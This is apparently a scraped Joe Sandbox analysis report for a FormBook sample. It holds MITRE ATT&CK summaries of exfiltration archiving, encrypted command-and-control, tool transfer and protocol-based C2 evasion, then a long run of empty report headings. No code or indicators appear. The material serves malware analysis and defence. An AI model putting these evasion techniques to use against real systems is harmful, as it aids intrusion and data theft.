Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 7TupDHKAwm.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets